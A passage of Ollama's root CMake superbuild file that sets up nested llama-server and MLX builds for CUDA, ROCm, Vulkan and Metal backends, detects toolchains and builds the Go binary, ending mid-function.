# This file keeps the repository-root CMake project focused on orchestration:
# it builds a runnable local Ollama payload by delegating llama.cpp work to the
# llama/server CMake project and building the Go binary into a matching layout.
include(ExternalProject)
set(OLLAMA_LLAMA_BACKENDS "" CACHE STRING
"Semicolon-separated llama-server GPU backends to build: cuda_v12;cuda_v13;rocm_v7_1;rocm_v7_2;vulkan;cuda_jetpack5;cuda_jetpack6")
set(_ollama_mlx_backends_doc "Semicolon-separated MLX backends to build: cuda_v13;metal_v3;metal_v4")
set(OLLAMA_VERSION "0.0.0" CACHE STRING "Ollama version embedded in the local Go binary")
set(OLLAMA_PAYLOAD_INSTALL_PREFIX "${CMAKE_BINARY_DIR}" CACHE PATH
"Build-time staging prefix for nested Ollama native payloads")
string(REGEX REPLACE "^v" "" OLLAMA_VERSION "${OLLAMA_VERSION}")
set(OLLAMA_NATIVE_CONFIG_ARG)
if(CMAKE_CONFIGURATION_TYPES)
set(OLLAMA_NATIVE_CONFIG_ARG --config Release)
endif()
set(OLLAMA_NATIVE_EXTERNAL_OPTIONS)
if(CMAKE_VERSION VERSION_GREATER_EQUAL 3.28)
list(APPEND OLLAMA_NATIVE_EXTERNAL_OPTIONS BUILD_JOB_SERVER_AWARE TRUE)
endif()
function(ollama_check_metal_toolchain output_version)
find_program(_ollama_xcrun xcrun)
if(NOT _ollama_xcrun)
message(FATAL_ERROR
"MLX Metal requires Xcode command line tools. Install Xcode, run "
"`sudo xcode-select -s /Applications/Xcode.app/Contents/Developer`, "
"then install the Metal toolchain with "
"`xcodebuild -downloadComponent MetalToolchain`.")
endif()
execute_process(
COMMAND zsh "-c"
"echo \"__METAL_VERSION__\" | \"${_ollama_xcrun}\" -sdk macosx metal -E -x metal -P - 2>/dev/null | tail -1 | tr -d '\n'"
OUTPUT_VARIABLE _metal_version
RESULT_VARIABLE _metal_result)
if(NOT _metal_result EQUAL 0 OR NOT _metal_version MATCHES "^[0-9]+$")
message(FATAL_ERROR
"MLX Metal requires Xcode's Metal toolchain. Install Xcode, run "
"`sudo xcode-select -s /Applications/Xcode.app/Contents/Developer`, "
"then install the Metal toolchain with "
"`xcodebuild -downloadComponent MetalToolchain`.")
endif()
set(${output_version} "${_metal_version}" PARENT_SCOPE)
endfunction()
function(ollama_macos_major_version output)
execute_process(
COMMAND sw_vers -productVersion
OUTPUT_VARIABLE _macos_version
OUTPUT_STRIP_TRAILING_WHITESPACE
RESULT_VARIABLE _macos_result
ERROR_QUIET)
if(_macos_result EQUAL 0)
string(REGEX MATCH "^[0-9]+(\\.[0-9]+)?" _macos_major "${_macos_version}")
endif()
set(${output} "${_macos_major}" PARENT_SCOPE)
endfunction()
function(ollama_macos_sdk_major_version output)
execute_process(
COMMAND xcrun --sdk macosx --show-sdk-version
OUTPUT_VARIABLE _sdk_version
OUTPUT_STRIP_TRAILING_WHITESPACE
RESULT_VARIABLE _sdk_result
ERROR_QUIET)
if(_sdk_result EQUAL 0)
string(REGEX MATCH "^[0-9]+(\\.[0-9]+)?" _sdk_major "${_sdk_version}")
endif()
set(${output} "${_sdk_major}" PARENT_SCOPE)
endfunction()
function(ollama_default_mlx_backends output)
set(_backends "")
if(APPLE AND CMAKE_SYSTEM_PROCESSOR STREQUAL "arm64")
ollama_check_metal_toolchain(_metal_version)
ollama_macos_major_version(_macos_major)
ollama_macos_sdk_major_version(_sdk_major)
if(_macos_major AND _sdk_major
AND _macos_major VERSION_GREATER_EQUAL 26.2
AND _sdk_major VERSION_GREATER_EQUAL 26.2)
set(_backends "metal_v4")
else()
set(_backends "metal_v3")
endif()
message(STATUS "Defaulting OLLAMA_MLX_BACKENDS=${_backends} for macOS arm64")
endif()
set(${output} "${_backends}" PARENT_SCOPE)
endfunction()
if(NOT DEFINED OLLAMA_MLX_BACKENDS)
ollama_default_mlx_backends(_ollama_default_mlx_backends)
set(OLLAMA_MLX_BACKENDS "${_ollama_default_mlx_backends}" CACHE STRING "${_ollama_mlx_backends_doc}")
else()
set(OLLAMA_MLX_BACKENDS "${OLLAMA_MLX_BACKENDS}" CACHE STRING "${_ollama_mlx_backends_doc}")
endif()
if(NOT OLLAMA_HAVE_LLAMA_SERVER)
if(OLLAMA_LLAMA_BACKENDS)
message(FATAL_ERROR "llama/server is required when OLLAMA_LLAMA_BACKENDS is set")
endif()
if(NOT OLLAMA_MLX_BACKENDS)
message(FATAL_ERROR "llama/server is required for local Ollama builds")
endif()
else()
file(READ "${CMAKE_SOURCE_DIR}/LLAMA_CPP_VERSION" OLLAMA_LLAMA_CPP_GIT_TAG)
string(STRIP "${OLLAMA_LLAMA_CPP_GIT_TAG}" OLLAMA_LLAMA_CPP_GIT_TAG)
include(${CMAKE_SOURCE_DIR}/llama/compat/compat.cmake)
if(DEFINED FETCHCONTENT_SOURCE_DIR_LLAMA_CPP AND NOT "${FETCHCONTENT_SOURCE_DIR_LLAMA_CPP}" STREQUAL "")
get_filename_component(OLLAMA_LLAMA_CPP_SOURCE_DIR
"${FETCHCONTENT_SOURCE_DIR_LLAMA_CPP}" ABSOLUTE BASE_DIR "${CMAKE_SOURCE_DIR}")
message(STATUS "Using llama.cpp source override: ${OLLAMA_LLAMA_CPP_SOURCE_DIR}")
add_custom_target(ollama-llama-cpp-source)
elseif(DEFINED ENV{OLLAMA_LLAMA_CPP_SOURCE})
get_filename_component(OLLAMA_LLAMA_CPP_SOURCE_DIR
"$ENV{OLLAMA_LLAMA_CPP_SOURCE}" ABSOLUTE BASE_DIR "${CMAKE_SOURCE_DIR}")
message(STATUS "Using local llama.cpp source: ${OLLAMA_LLAMA_CPP_SOURCE_DIR}")
add_custom_target(ollama-llama-cpp-source)
else()
set(OLLAMA_LLAMA_CPP_SOURCE_DIR "${CMAKE_BINARY_DIR}/_deps/llama_cpp-src")
ExternalProject_Add(ollama-llama-cpp-source
GIT_REPOSITORY "https://github.com/ggml-org/llama.cpp.git"
GIT_TAG ${OLLAMA_LLAMA_CPP_GIT_TAG}
GIT_SHALLOW TRUE
SOURCE_DIR ${OLLAMA_LLAMA_CPP_SOURCE_DIR}
CONFIGURE_COMMAND ""
BUILD_COMMAND ""
INSTALL_COMMAND ""
PATCH_COMMAND ${OLLAMA_LLAMA_CPP_COMPAT_PATCH_COMMAND}
USES_TERMINAL_DOWNLOAD TRUE
USES_TERMINAL_PATCH TRUE)
endif()
endif()
set(_mlx_source_targets)
if(OLLAMA_MLX_BACKENDS)
file(READ "${CMAKE_SOURCE_DIR}/MLX_VERSION" OLLAMA_MLX_GIT_TAG)
string(STRIP "${OLLAMA_MLX_GIT_TAG}" OLLAMA_MLX_GIT_TAG)
file(READ "${CMAKE_SOURCE_DIR}/MLX_C_VERSION" OLLAMA_MLX_C_GIT_TAG)
string(STRIP "${OLLAMA_MLX_C_GIT_TAG}" OLLAMA_MLX_C_GIT_TAG)
if(DEFINED FETCHCONTENT_SOURCE_DIR_MLX AND NOT "${FETCHCONTENT_SOURCE_DIR_MLX}" STREQUAL "")
get_filename_component(OLLAMA_MLX_SOURCE_DIR
"${FETCHCONTENT_SOURCE_DIR_MLX}" ABSOLUTE BASE_DIR "${CMAKE_SOURCE_DIR}")
message(STATUS "Using MLX source override: ${OLLAMA_MLX_SOURCE_DIR}")
elseif(DEFINED ENV{OLLAMA_MLX_SOURCE})
get_filename_component(OLLAMA_MLX_SOURCE_DIR
"$ENV{OLLAMA_MLX_SOURCE}" ABSOLUTE BASE_DIR "${CMAKE_SOURCE_DIR}")
message(STATUS "Using local MLX source: ${OLLAMA_MLX_SOURCE_DIR}")
else()
set(OLLAMA_MLX_SOURCE_DIR "${CMAKE_BINARY_DIR}/_deps/mlx-src")
ExternalProject_Add(ollama-mlx-source
GIT_REPOSITORY "https://github.com/ml-explore/mlx.git"
GIT_TAG ${OLLAMA_MLX_GIT_TAG}
# MLX uses commit hashes while we track closely; switch to shallow when MLX pins move to tags.
GIT_SHALLOW FALSE
SOURCE_DIR ${OLLAMA_MLX_SOURCE_DIR}
CONFIGURE_COMMAND ""
BUILD_COMMAND ""
INSTALL_COMMAND ""
USES_TERMINAL_DOWNLOAD TRUE)
list(APPEND _mlx_source_targets ollama-mlx-source)
endif()
if(DEFINED "FETCHCONTENT_SOURCE_DIR_MLX-C" AND NOT "${FETCHCONTENT_SOURCE_DIR_MLX-C}" STREQUAL "")
get_filename_component(OLLAMA_MLX_C_SOURCE_DIR
"${FETCHCONTENT_SOURCE_DIR_MLX-C}" ABSOLUTE BASE_DIR "${CMAKE_SOURCE_DIR}")
message(STATUS "Using MLX-C source override: ${OLLAMA_MLX_C_SOURCE_DIR}")
elseif(DEFINED ENV{OLLAMA_MLX_C_SOURCE})
get_filename_component(OLLAMA_MLX_C_SOURCE_DIR
"$ENV{OLLAMA_MLX_C_SOURCE}" ABSOLUTE BASE_DIR "${CMAKE_SOURCE_DIR}")
message(STATUS "Using local MLX-C source: ${OLLAMA_MLX_C_SOURCE_DIR}")
else()
set(OLLAMA_MLX_C_SOURCE_DIR "${CMAKE_BINARY_DIR}/_deps/mlx-c-src")
ExternalProject_Add(ollama-mlx-c-source
GIT_REPOSITORY "https://github.com/ml-explore/mlx-c.git"
GIT_TAG ${OLLAMA_MLX_C_GIT_TAG}
# MLX-C uses commit hashes while we track closely; switch to shallow when MLX-C pins move to tags.
GIT_SHALLOW FALSE
SOURCE_DIR ${OLLAMA_MLX_C_SOURCE_DIR}
CONFIGURE_COMMAND ""
BUILD_COMMAND ""
INSTALL_COMMAND ""
USES_TERMINAL_DOWNLOAD TRUE)
list(APPEND _mlx_source_targets ollama-mlx-c-source)
endif()
add_custom_target(ollama-mlx-sources DEPENDS ${_mlx_source_targets})
endif()
set(OLLAMA_BUILD_PARALLEL "" CACHE STRING
"Number of parallel jobs for nested native builds (empty = use generator default)")
set(_native_parallel_args --parallel)
if(NOT OLLAMA_BUILD_PARALLEL STREQUAL "")
list(APPEND _native_parallel_args ${OLLAMA_BUILD_PARALLEL})
endif()
set(OLLAMA_NATIVE_BUILD_TOOL_COMMAND
${CMAKE_COMMAND} --build <BINARY_DIR> ${_native_parallel_args})
set(OLLAMA_NATIVE_BUILD_TARGET_ARG --target)
if(CMAKE_GENERATOR MATCHES "Makefiles")
set(OLLAMA_NATIVE_BUILD_TOOL_COMMAND
"$(MAKE)" -C <BINARY_DIR>)
set(OLLAMA_NATIVE_BUILD_TARGET_ARG)
endif()
function(ollama_escape_cmake_list input output)
string(REPLACE ";" "|" _escaped "${input}")
set(${output} "${_escaped}" PARENT_SCOPE)
endfunction()
function(ollama_collect_cache_args_with_prefix prefix output)
get_cmake_property(_cache_variables CACHE_VARIABLES)
list(SORT _cache_variables)
set(_args)
foreach(_var IN LISTS _cache_variables)
if(_var MATCHES "^${prefix}")
ollama_escape_cmake_list("${${_var}}" _value)
list(APPEND _args "-D${_var}=${_value}")
endif()
endforeach()
set(${output} "${_args}" PARENT_SCOPE)
endfunction()
function(ollama_append_cache_arg_if_set output name)
if(DEFINED ${name} AND NOT "${${name}}" STREQUAL "")
ollama_escape_cmake_list("${${name}}" _value)
set(${output} ${${output}} "-D${name}=${_value}" PARENT_SCOPE)
endif()
endfunction()
function(ollama_cache_arg_is_set name output)
if(DEFINED ${name} AND NOT "${${name}}" STREQUAL "")
set(${output} TRUE PARENT_SCOPE)
else()
set(${output} FALSE PARENT_SCOPE)
endif()
endfunction()
function(ollama_backend_cuda_major backend output)
if("${backend}" MATCHES "^cuda_v([0-9]+)$")
set(${output} "${CMAKE_MATCH_1}" PARENT_SCOPE)
else()
set(${output} "" PARENT_SCOPE)
endif()
endfunction()
function(ollama_find_windows_cuda_root major output)
if(NOT WIN32 OR "${major}" STREQUAL "")
set(${output} "" PARENT_SCOPE)
return()
endif()
execute_process(
COMMAND ${CMAKE_COMMAND} -E environment
OUTPUT_VARIABLE _environment)
string(REPLACE "\r\n" "\n" _environment "${_environment}")
string(REPLACE "\r" "\n" _environment "${_environment}")
string(REGEX MATCHALL "CUDA_PATH_V${major}_[0-9]+=[^\n]*" _matches "${_environment}")
set(_best_minor -1)
set(_best_root "")
foreach(_entry IN LISTS _matches)
if(_entry MATCHES "^CUDA_PATH_V${major}_([0-9]+)=(.*)$")
set(_minor "${CMAKE_MATCH_1}")
set(_root "${CMAKE_MATCH_2}")
if(_minor GREATER _best_minor)
set(_best_minor ${_minor})
set(_best_root "${_root}")
endif()
endif()
endforeach()
if(_best_root STREQUAL "" AND DEFINED ENV{CUDA_PATH})
set(_cuda_path "$ENV{CUDA_PATH}")
if(EXISTS "${_cuda_path}/version.json")
file(READ "${_cuda_path}/version.json" _version_json)
if(_version_json MATCHES "\"cuda\"[ \t\r\n]*:[ \t\r\n]*\"${major}\\.")
set(_best_root "${_cuda_path}")
endif()
endif()
endif()
set(${output} "${_best_root}" PARENT_SCOPE)
endfunction()
function(ollama_append_cuda_toolkit_args output backend)
# If CUDAToolkit_ROOT is already explicitly set, just forward it.
ollama_append_cache_arg_if_set(${output} CUDAToolkit_ROOT)
if(NOT DEFINED CUDAToolkit_ROOT OR "${CUDAToolkit_ROOT}" STREQUAL "")
# Auto-discover CUDA toolkit for the requested backend version on Windows.
ollama_backend_cuda_major("${backend}" _cuda_major)
ollama_find_windows_cuda_root("${_cuda_major}" _cuda_root)
if(NOT "${_cuda_root}" STREQUAL "")
ollama_escape_cmake_list("${_cuda_root}" _value)
set(${output} ${${output}} "-DCUDAToolkit_ROOT=${_value}" PARENT_SCOPE)
endif()
endif()
endfunction()
function(ollama_llama_cuda_preset backend output)
ollama_cache_arg_is_set(CMAKE_CUDA_ARCHITECTURES _has_cuda_arch)
if(_has_cuda_arch)
set(_preset "llama_${backend}_user_arch")
elseif(WIN32)
set(_preset "llama_${backend}_windows")
else()
set(_preset "llama_${backend}_linux")
endif()
set(${output} "${_preset}" PARENT_SCOPE)
endfunction()
function(ollama_mlx_cuda_preset output)
ollama_cache_arg_is_set(MLX_CUDA_ARCHITECTURES _has_mlx_arch)
ollama_cache_arg_is_set(CMAKE_CUDA_ARCHITECTURES _has_cuda_arch)
if(_has_mlx_arch OR _has_cuda_arch)
set(_preset "mlx_cuda_v13_user_arch")
elseif(WIN32)
set(_preset "mlx_cuda_v13_windows")
else()
set(_preset "mlx_cuda_v13_linux")
endif()
set(${output} "${_preset}" PARENT_SCOPE)
endfunction()
function(ollama_rocm_preset backend output)
ollama_cache_arg_is_set(AMDGPU_TARGETS _has_amdgpu_targets)
ollama_cache_arg_is_set(CMAKE_HIP_ARCHITECTURES _has_hip_arch)
if(_has_amdgpu_targets OR _has_hip_arch)
if(backend STREQUAL "rocm_v7_1" AND NOT WIN32)
message(FATAL_ERROR "OLLAMA_LLAMA_BACKENDS=rocm_v7_1 is only supported for Windows ROCm builds")
elseif(backend STREQUAL "rocm_v7_2" AND WIN32)
message(FATAL_ERROR "OLLAMA_LLAMA_BACKENDS=rocm_v7_2 is only supported for Linux ROCm builds")
endif()
elseif(backend STREQUAL "rocm_v7_1")
if(NOT WIN32)
message(FATAL_ERROR "OLLAMA_LLAMA_BACKENDS=rocm_v7_1 is only supported for Windows ROCm builds")
endif()
set(_preset "${backend}_windows")
elseif(backend STREQUAL "rocm_v7_2")
if(WIN32)
message(FATAL_ERROR "OLLAMA_LLAMA_BACKENDS=rocm_v7_2 is only supported for Linux ROCm builds")
endif()
set(_preset "${backend}_linux")
else()
message(FATAL_ERROR "Unknown ROCm backend '${backend}'")
endif()
if(_has_amdgpu_targets OR _has_hip_arch)
set(_preset "${backend}_user_arch")
endif()
set(${output} "${_preset}" PARENT_SCOPE)
endfunction()
function(ollama_add_llama_server_build name)
cmake_parse_arguments(ARG "" "PRESET;RUNNER_DIR" "TARGETS;CMAKE_ARGS" ${ARGN})
if(NOT ARG_TARGETS)
message(FATAL_ERROR "ollama_add_llama_server_build(${name}) requires TARGETS")
endif()
if(WIN32 AND name STREQUAL "vulkan")
# The Vulkan shader generator nests deeply enough to hit Windows MAX_PATH.
set(_build_dir ${CMAKE_BINARY_DIR}/ls-vk)
else()
set(_build_dir ${CMAKE_BINARY_DIR}/llama-server-${name})
endif()
ollama_collect_cache_args_with_prefix("GGML_" _ggml_cache_args)
ollama_collect_cache_args_with_prefix("LLAMA_" _llama_cache_args)
set(_cmake_args
-DCMAKE_BUILD_TYPE=${CMAKE_BUILD_TYPE}
-DCMAKE_INSTALL_PREFIX=${OLLAMA_PAYLOAD_INSTALL_PREFIX}
-DOLLAMA_LIB_DIR:STRING=${OLLAMA_LIB_DIR}
-DOLLAMA_RUNNER_DIR=${ARG_RUNNER_DIR}
-DFETCHCONTENT_SOURCE_DIR_LLAMA_CPP=${OLLAMA_LLAMA_CPP_SOURCE_DIR}
-DOLLAMA_LLAMA_CPP_SKIP_COMPAT_PATCH=ON
-DGGML_NATIVE=OFF
-DGGML_OPENMP=OFF
${ARG_CMAKE_ARGS}
${_ggml_cache_args}
${_llama_cache_args}
)
if(APPLE)
if(CMAKE_OSX_ARCHITECTURES)
list(APPEND _cmake_args
-DCMAKE_OSX_ARCHITECTURES=${CMAKE_OSX_ARCHITECTURES})
endif()
if(CMAKE_OSX_DEPLOYMENT_TARGET)
list(APPEND _cmake_args
-DCMAKE_OSX_DEPLOYMENT_TARGET=${CMAKE_OSX_DEPLOYMENT_TARGET})
endif()
endif()
# Visual Studio requires -T toolset override to select the correct CUDA toolkit.
# MSBuild's CUDA integration ignores -DCUDAToolkit_ROOT for nvcc selection.
# Prefer user-specified CUDAToolkit_ROOT before falling back to auto-discovery.
set(_generator_args)
if(WIN32 AND CMAKE_GENERATOR MATCHES "Visual Studio")
set(_cuda_root "${CUDAToolkit_ROOT}")
if("${_cuda_root}" STREQUAL "")
ollama_backend_cuda_major("${name}" _cuda_major)
ollama_find_windows_cuda_root("${_cuda_major}" _cuda_root)
endif()
if(NOT "${_cuda_root}" STREQUAL "")
list(APPEND _generator_args -T cuda=${_cuda_root})
endif()
endif()
set(_configure_command ${CMAKE_COMMAND}
${_generator_args}
-S ${CMAKE_SOURCE_DIR}/llama/server
-B <BINARY_DIR>
${_cmake_args})
if(ARG_PRESET)
set(_configure_command ${CMAKE_COMMAND}
${_generator_args}
-S ${CMAKE_SOURCE_DIR}/llama/server
--preset ${ARG_PRESET}
-B <BINARY_DIR>
${_cmake_args})
endif()
ExternalProject_Add(ollama-llama-server-${name}
SOURCE_DIR ${CMAKE_SOURCE_DIR}/llama/server
BINARY_DIR ${_build_dir}
CONFIGURE_COMMAND ${_configure_command}
BUILD_COMMAND ${OLLAMA_NATIVE_BUILD_TOOL_COMMAND}
${OLLAMA_NATIVE_CONFIG_ARG}
${OLLAMA_NATIVE_BUILD_TARGET_ARG} ${ARG_TARGETS}
INSTALL_COMMAND ${CMAKE_COMMAND} --install <BINARY_DIR>
${OLLAMA_NATIVE_CONFIG_ARG}
--component llama-server
DEPENDS ollama-llama-cpp-source
LIST_SEPARATOR |
# ExternalProject cannot reliably infer when nested FetchContent
# sources, compat patches, or forwarded GGML/LLAMA cache settings need
# a rebuild. Always entering the sub-build keeps direct `cmake --build`
# iteration correct; the nested generator still performs incremental
# compilation.
BUILD_ALWAYS TRUE
${OLLAMA_NATIVE_EXTERNAL_OPTIONS}
USES_TERMINAL_CONFIGURE TRUE
USES_TERMINAL_BUILD TRUE
USES_TERMINAL_INSTALL TRUE)
endfunction()
function(ollama_add_mlx_build name)
cmake_parse_arguments(ARG "" "PRESET;RUNNER_DIR" "CMAKE_ARGS" ${ARGN})
if(NOT ARG_RUNNER_DIR)
message(FATAL_ERROR "ollama_add_mlx_build(${name}) requires RUNNER_DIR")
endif()
set(_build_dir ${CMAKE_BINARY_DIR}/${ARG_RUNNER_DIR})
ollama_collect_cache_args_with_prefix("MLX_" _mlx_cache_args)
set(_cmake_args
-DCMAKE_BUILD_TYPE=${CMAKE_BUILD_TYPE}
-DCMAKE_INSTALL_PREFIX=${OLLAMA_PAYLOAD_INSTALL_PREFIX}
-DOLLAMA_LIB_DIR:STRING=${OLLAMA_LIB_DIR}
-DOLLAMA_RUNNER_DIR=${ARG_RUNNER_DIR}
-DOLLAMA_SOURCE_DIR=${CMAKE_SOURCE_DIR}
-DFETCHCONTENT_SOURCE_DIR_MLX=${OLLAMA_MLX_SOURCE_DIR}
-DFETCHCONTENT_SOURCE_DIR_MLX-C=${OLLAMA_MLX_C_SOURCE_DIR}
-DOLLAMA_MLX_GENERATE_WRAPPERS=OFF
${ARG_CMAKE_ARGS}
${_mlx_cache_args}
)
foreach(_arg IN ITEMS
BLAS_INCLUDE_DIRS
LAPACK_INCLUDE_DIRS
CUDAToolkit_ROOT
CUDNN_ROOT_DIR
CUDNN_INCLUDE_PATH
CUDNN_LIBRARY_PATH
CMAKE_CUDA_COMPILER
CMAKE_CUDA_HOST_COMPILER
CMAKE_INCLUDE_PATH
CMAKE_LIBRARY_PATH
CMAKE_PREFIX_PATH)
ollama_append_cache_arg_if_set(_cmake_args ${_arg})
endforeach()
if(APPLE)
if(CMAKE_OSX_ARCHITECTURES)
list(APPEND _cmake_args
-DCMAKE_OSX_ARCHITECTURES=${CMAKE_OSX_ARCHITECTURES})
endif()
endif()
set(_configure_command ${CMAKE_COMMAND}
-S ${CMAKE_SOURCE_DIR}/cmake/mlx
-B <BINARY_DIR>
${_cmake_args})
if(ARG_PRESET)
set(_configure_command ${CMAKE_COMMAND}
-S ${CMAKE_SOURCE_DIR}/cmake/mlx
--preset ${ARG_PRESET}
-B <BINARY_DIR>
${_cmake_args})
endif()
ExternalProject_Add(ollama-mlx-${name}
SOURCE_DIR ${CMAKE_SOURCE_DIR}/cmake/mlx
BINARY_DIR ${_build_dir}
CONFIGURE_COMMAND ${_configure_command}
BUILD_COMMAND ${OLLAMA_NATIVE_BUILD_TOOL_COMMAND}
${OLLAMA_NATIVE_CONFIG_ARG}
${OLLAMA_NATIVE_BUILD_TARGET_ARG} mlx
${OLLAMA_NATIVE_BUILD_TARGET_ARG} mlxc
INSTALL_COMMAND ${CMAKE_COMMAND} --install <BINARY_DIR>
${OLLAMA_NATIVE_CONFIG_ARG}
--component MLX
COMMAND ${CMAKE_COMMAND} --install <BINARY_DIR>
${OLLAMA_NATIVE_CONFIG_ARG}
--component MLX_VENDOR
DEPENDS ollama-mlx-sources
LIST_SEPARATOR |
BUILD_ALWAYS TRUE
${OLLAMA_NATIVE_EXTERNAL_OPTIONS}
USES_TERMINAL_CONFIGURE TRUE
USES_TERMINAL_BUILD TRUE
USES_TERMINAL_INSTALL TRUE)
endfunction()
find_program(GO_EXECUTABLE go)
if(OLLAMA_MLX_BACKENDS)
set(_mlx_c_headers_dir "${OLLAMA_MLX_C_SOURCE_DIR}/mlx/c")
set(_mlx_c_headers_dest "${CMAKE_SOURCE_DIR}/x/mlxrunner/mlx/include/mlx/c")
if(GO_EXECUTABLE AND (NOT APPLE OR CMAKE_SYSTEM_PROCESSOR STREQUAL CMAKE_HOST_SYSTEM_PROCESSOR))
add_custom_target(ollama-mlx-generate-wrappers
COMMAND ${CMAKE_COMMAND}
-DMLX_C_HEADERS_DIR=${_mlx_c_headers_dir}
-DMLX_C_HEADERS_DEST=${_mlx_c_headers_dest}
-P "${CMAKE_SOURCE_DIR}/cmake/vendor-mlx-c-headers.cmake"
COMMAND ${CMAKE_COMMAND} -E env
CC= CGO_CFLAGS= CGO_CXXFLAGS=
${GO_EXECUTABLE} generate ./x/...
WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}
DEPENDS ollama-mlx-sources
COMMENT "Regenerating MLX Go wrappers"
VERBATIM)
else()
add_custom_target(ollama-mlx-generate-wrappers
COMMAND ${CMAKE_COMMAND} -E echo
"Cannot regenerate MLX wrappers while Go is unavailable or while cross-compiling"
COMMAND ${CMAKE_COMMAND} -E false
DEPENDS ollama-mlx-sources
VERBATIM)
endif()
endif()
if(OLLAMA_HAVE_LLAMA_SERVER)
if(NOT OLLAMA_GO_OUTPUT)
if(WIN32)
set(OLLAMA_GO_OUTPUT ${CMAKE_SOURCE_DIR}/ollama.exe)
else()
set(OLLAMA_GO_OUTPUT ${CMAKE_SOURCE_DIR}/ollama)
endif()
endif()
if(NOT IS_ABSOLUTE "${OLLAMA_GO_OUTPUT}")
set(OLLAMA_GO_OUTPUT "${CMAKE_SOURCE_DIR}/${OLLAMA_GO_OUTPUT}")
endif()
get_filename_component(OLLAMA_GO_OUTPUT "${OLLAMA_GO_OUTPUT}" ABSOLUTE)
set(OLLAMA_GO_OUTPUT "${OLLAMA_GO_OUTPUT}" CACHE FILEPATH "Output path for the local Ollama Go binary")
get_filename_component(OLLAMA_GO_OUTPUT_DIR "${OLLAMA_GO_OUTPUT}" DIRECTORY)
set(OLLAMA_GO_LDFLAGS
"-s -w -X=github.com/ollama/ollama/version.Version=${OLLAMA_VERSION} -X=github.com/ollama/ollama/server.mode=release")
if(GO_EXECUTABLE)
add_custom_target(ollama-go ALL
COMMAND ${CMAKE_COMMAND} -E make_directory "${OLLAMA_GO_OUTPUT_DIR}"
COMMAND ${CMAKE_COMMAND} -E env CGO_ENABLED=1
${GO_EXECUTABLE} build -trimpath -ldflags "${OLLAMA_GO_LDFLAGS}" -o "${OLLAMA_GO_OUTPUT}" .
WORKING_DIRECTORY ${CMAKE_SOURCE_DIR}
BYPRODUCTS ${OLLAMA_GO_OUTPUT}
COMMENT "Building Ollama Go binary"
VERBATIM)
else()
add_custom_target(ollama-go ALL
COMMAND ${CMAKE_COMMAND} -E echo
"Go executable not found. Install Go or set GO_EXECUTABLE to build the local Ollama binary."
COMMAND ${CMAKE_COMMAND} -E false
COMMENT "Building Ollama Go binary"
VERBATIM)
endif()
set(_cpu_args)
if(APPLE AND CMAKE_SYSTEM_PROCESSOR STREQUAL "arm64")
list(APPEND _cpu_args
-DBUILD_SHARED_LIBS=OFF
-DGGML_BACKEND_DL=OFF
-DGGML_METAL=ON
-DGGML_METAL_EMBED_LIBRARY=ON)
else()
list(APPEND _cpu_args
-DBUILD_SHARED_LIBS=ON
-DGGML_BACKEND_DL=ON
-DGGML_CPU_ALL_VARIANTS=ON)
if(WIN32)
list(APPEND _cpu_args -DGGML_OPENMP=ON)
endif()
if(APPLE)
list(APPEND _cpu_args -DGGML_METAL=OFF)
endif()
endif()
ollama_add_llama_server_build(local
RUNNER_DIR ""
TARGETS llama-server llama-quantize
CMAKE_ARGS ${_cpu_args})
add_custom_target(ollama-local ALL
DEPENDS ollama-go ollama-llama-server-local
COMMENT "Building local Ollama payload")
install(PROGRAMS "${OLLAMA_GO_OUTPUT}"
DESTINATION "${CMAKE_INSTALL_BINDIR}"
COMPONENT ollama-local)
endif()
set(_backend_targets)
if(OLLAMA_HAVE_LLAMA_SERVER)
foreach(_backend IN LISTS OLLAMA_LLAMA_BACKENDS)
if(_backend STREQUAL "cuda_v12")
ollama_llama_cuda_preset(${_backend} _cuda_preset)
set(_cuda_args)
ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_ARCHITECTURES)
ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_FLAGS)
ollama_append_cuda_toolkit_args(_cuda_args ${_backend})
ollama_add_llama_server_build(${_backend}
PRESET ${_cuda_preset}
RUNNER_DIR ${_backend}
TARGETS ggml-cuda
CMAKE_ARGS ${_cuda_args})
list(APPEND _backend_targets ollama-llama-server-${_backend})
elseif(_backend STREQUAL "cuda_v13")
ollama_llama_cuda_preset(${_backend} _cuda_preset)
set(_cuda_args)
ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_ARCHITECTURES)
ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_FLAGS)
ollama_append_cuda_toolkit_args(_cuda_args ${_backend})
ollama_add_llama_server_build(${_backend}
PRESET ${_cuda_preset}
RUNNER_DIR ${_backend}
TARGETS ggml-cuda
CMAKE_ARGS ${_cuda_args})
list(APPEND _backend_targets ollama-llama-server-${_backend})
elseif(_backend STREQUAL "rocm_v7_1" OR _backend STREQUAL "rocm_v7_2")
# ROCm 7.1 and 7.2 currently share build settings. Keep the backend
# names versioned so future packaging can install side-by-side ROCm
# payloads without changing the superbuild interface.
ollama_rocm_preset(${_backend} _rocm_preset)
set(_rocm_args
-DBUILD_SHARED_LIBS=ON
-DGGML_BACKEND_DL=ON
-DGGML_HIP=ON
-DCMAKE_HIP_PLATFORM=amd
-DOLLAMA_GPU_BACKEND=hip)
ollama_append_cache_arg_if_set(_rocm_args AMDGPU_TARGETS)
ollama_append_cache_arg_if_set(_rocm_args CMAKE_HIP_ARCHITECTURES)
ollama_append_cache_arg_if_set(_rocm_args CMAKE_HIP_FLAGS)
ollama_append_cache_arg_if_set(_rocm_args GGML_CUDA_NO_PEER_COPY)
ollama_append_cache_arg_if_set(_rocm_args CMAKE_PREFIX_PATH)
ollama_add_llama_server_build(${_backend}
PRESET ${_rocm_preset}
RUNNER_DIR ${_backend}
TARGETS ggml-hip
CMAKE_ARGS ${_rocm_args})
list(APPEND _backend_targets ollama-llama-server-${_backend})
elseif(_backend STREQUAL "vulkan")
ollama_add_llama_server_build(vulkan
RUNNER_DIR vulkan
TARGETS ggml-vulkan
CMAKE_ARGS
-DBUILD_SHARED_LIBS=ON
-DGGML_BACKEND_DL=ON
-DGGML_VULKAN=ON
-DOLLAMA_GPU_BACKEND=vulkan)
list(APPEND _backend_targets ollama-llama-server-vulkan)
elseif(_backend STREQUAL "cuda_jetpack5")
if(CMAKE_CUDA_ARCHITECTURES)
set(_cuda_preset llama_cuda_jetpack5_user_arch)
else()
set(_cuda_preset llama_cuda_jetpack5)
endif()
set(_cuda_args)
ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_ARCHITECTURES)
ollama_append_cache_arg_if_set(_cuda_args CMAKE_CUDA_FLAGS)
ollama_add_llama_server_build(${_backend}
